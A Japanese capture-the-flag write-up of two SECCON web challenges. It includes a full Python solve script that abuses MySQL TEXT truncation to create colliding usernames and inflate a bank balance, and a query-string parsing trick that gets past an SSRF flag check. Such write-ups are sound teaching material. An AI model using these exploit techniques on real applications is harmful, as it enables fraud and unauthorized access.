[web] Trillion Bank (web, warmup: 108 pt / 84 solves)
Can you get over $1,000,000,000,000?
アクセスしてみると、ユーザ登録を要求される。
登録したら10円が付与され、自由なユーザに送金できる。
こういうのは真っ先に負数の送金が思い浮かぶが、ちゃんと対策されている。
const amount = parseInt(req.body.amount); if (!isFinite(amount) || amount <= 0) { res.status(400).send({ msg: "Invalid amount" }); return; }
送金時の処理を見てみると、なんだか変な方法で実装されているのが気になった。
id
で検索した結果のユーザからbalance
をマイナスname
で検索した結果のユーザにbalance
をプラス
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]);
id
の値が異なり、name
が重複したユーザを作成できればお金を無限に増やすことが可能であることがわかる。
name
の重複対策に関してはnames.has
で行っていて、同じ名前では登録ができないようになっている。
app.post("/api/register", async (req, res) => { const name = String(req.body.name); if (!/^[a-z0-9]+$/.test(name)) { res.status(400).send({ msg: "Invalid name" }); return; } if (names.has(name)) { res.status(400).send({ msg: "Already exists" }); return; } names.add(name); const [result] = await db.query("INSERT INTO users SET ?", { name, balance: 10, });
ユーザ登録のリクエストを同時に大量に送信するレースコンディションが思い浮かんだが、ローカルのコンテナでも成功しなかったのでその線は薄い。
テーブルの情報を見てみるとname
はTEXT
型である。
TEXT
型は65535文字が最大文字数となっていて、MySQLは超過した文字を切り捨てるらしい。
await db.query( ` CREATE TABLE users ( id INT AUTO_INCREMENT NOT NULL, name TEXT NOT NULL, balance BIGINT NOT NULL, PRIMARY KEY (id) ) `.trim() );
ここでnames.has
では別のユーザ名として扱われ、MySQLによって65535文字で切り捨てられたときに同じユーザ名となるように登録すれば良いと考えられる。
ユーザを3つ作成してお金を増やすのを自動化したらflagが得れる。
import random import string import requests url = "http://trillion.seccon.games:3000" # url = "http://localhost:3000" u1_name = ''.join(random.choices(string.ascii_lowercase, k=65535)) u2_name = u1_name + "a" u3_name = u1_name + "b" u1 = requests.Session() u1_balance = 10 u1.post(f"{url}/api/register", json={ "name": u1_name }) u2 = requests.Session() u2_balance = 10 u2.post(f"{url}/api/register", json={ "name": u2_name }) u3 = requests.Session() u3_balance = 10 u3.post(f"{url}/api/register", json={ "name": u3_name }) while u1_balance < 10000000000000: res = u2.post(f"{url}/api/transfer", json={"recipientName": u1_name, "amount": u2_balance}) u1_balance += u2_balance u3_balance += u2_balance res = u3.post(f"{url}/api/transfer", json={"recipientName": u1_name, "amount": u3_balance}) u1_balance += u3_balance u2_balance += u3_balance print(u1_balance, u2_balance, u3_balance) print(u1.get(f"{url}/api/me").text)
$ py solve.py 40 30 20 120 80 50 (snip) 25047307819600 15480087559200 9567220260410 {"id":1,"iat":1732620922,"balance":25047307819600,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}
self-ssrf (web: 193 pt / 23 solves)
Guess the flag, or abuse the /ssrf endpoint.
まず全てのリクエストの最初に、flag
というクエリパラメータが含まれているかのチェックが入る。
含まれていない場合はその時点で/flag?flag=guess_the_flag
へ誘導するレスポンスを送信する。
app.use("/", (req, res, next) => { if (req.query.flag === undefined) { const path = "/flag?flag=guess_the_flag"; res.send(`Go to <a href="${path}">${path}</a>`); } else next(); });
正しいflagをqueryにつけて/flag
にアクセスするとflagが得れることがわかる。
app.get("/flag", (req, res) => { res.send( req.query.flag === FLAG // Guess the flag ? `Congratz! The flag is '${FLAG}'.` : `<marquee>🚩🚩🚩</marquee>`, ); });
/ssrf
というエンドポイントに、hostname
とprotocol
の条件に当てはまるリクエストを送信すると、正しいflagを付けて/flag
のエンドポイントにリクエストを送信してくれる。
app.get("/ssrf", async (req, res) => { try { const url = new URL(req.url, LOCALHOST); if (url.hostname !== LOCALHOST.hostname) { res.send("Try harder 1"); return; } if (url.protocol !== LOCALHOST.protocol) { res.send("Try harder 2"); return; } url.pathname = "/flag"; url.searchParams.append("flag", FLAG); res.send(await fetch(url).then((r) => r.text()));
/ssrf
のエンドポイントを利用するためにはflag
のクエリパラメータが必要となる。
/ssrf?flag=hoge
この時、/flag
へ送信されるリクエストは下記のようになる。
/flag?flag=hoge&flag=SECCON{dummy}
最終的に二つあるflag
パラメータが配列として処理されてしまうため、/flag
のレスポンスではflagを得ることができないという形だ。
searchParams: URLSearchParams { "flag": [ "hoge", "SECCON{dummy}" ], }
おそらくパースが変なんだろうなぁという気持ちでqsのテストケースからいろいろ試していたら刺さった。
http://self-ssrf.seccon.games:3000/ssrf?flag[=]=a
Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.